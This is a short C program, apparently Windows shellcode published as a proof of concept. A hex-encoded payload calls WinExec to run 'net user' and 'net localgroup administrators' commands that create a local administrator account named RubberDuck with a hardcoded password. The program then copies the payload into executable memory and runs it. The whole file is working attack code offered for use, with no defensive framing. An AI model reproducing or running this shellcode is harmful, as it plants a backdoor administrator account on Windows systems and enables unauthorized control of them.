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- WINEXEC Adding new local administrator
- */
- #include <stdio.h>
- #include <windows.h>
- int main(){
- unsigned char shellcode[]=
- "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
- "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
- "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
- "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
- "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
- "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
- "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
- "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
- "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
- "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
- "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
- "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
- "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
- "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
- "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
- "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
- "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
- "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
- "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
- "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
- "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
- "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
- "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
- "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
- "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
- "\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
- "\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
- "\x64\x00";
- LPVOID lpAlloc;
- void (*pfunc)();
- printf("size = %i bytes\n", lstrlen(shellcode) + 1);
- printf("-------------------------\nUsername: RubberDuck\nPassword: mudbath\n");
- system("PAUSE");
- lpAlloc = VirtualAlloc(0, 4096,
- MEM_COMMIT,
- PAGE_EXECUTE_READWRITE);
- if(lpAlloc == NULL){
- printf("Memory not allocated!\n");
- return 0;
- }
- memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);
- pfunc = lpAlloc;
- pfunc();
- return 0;
- }
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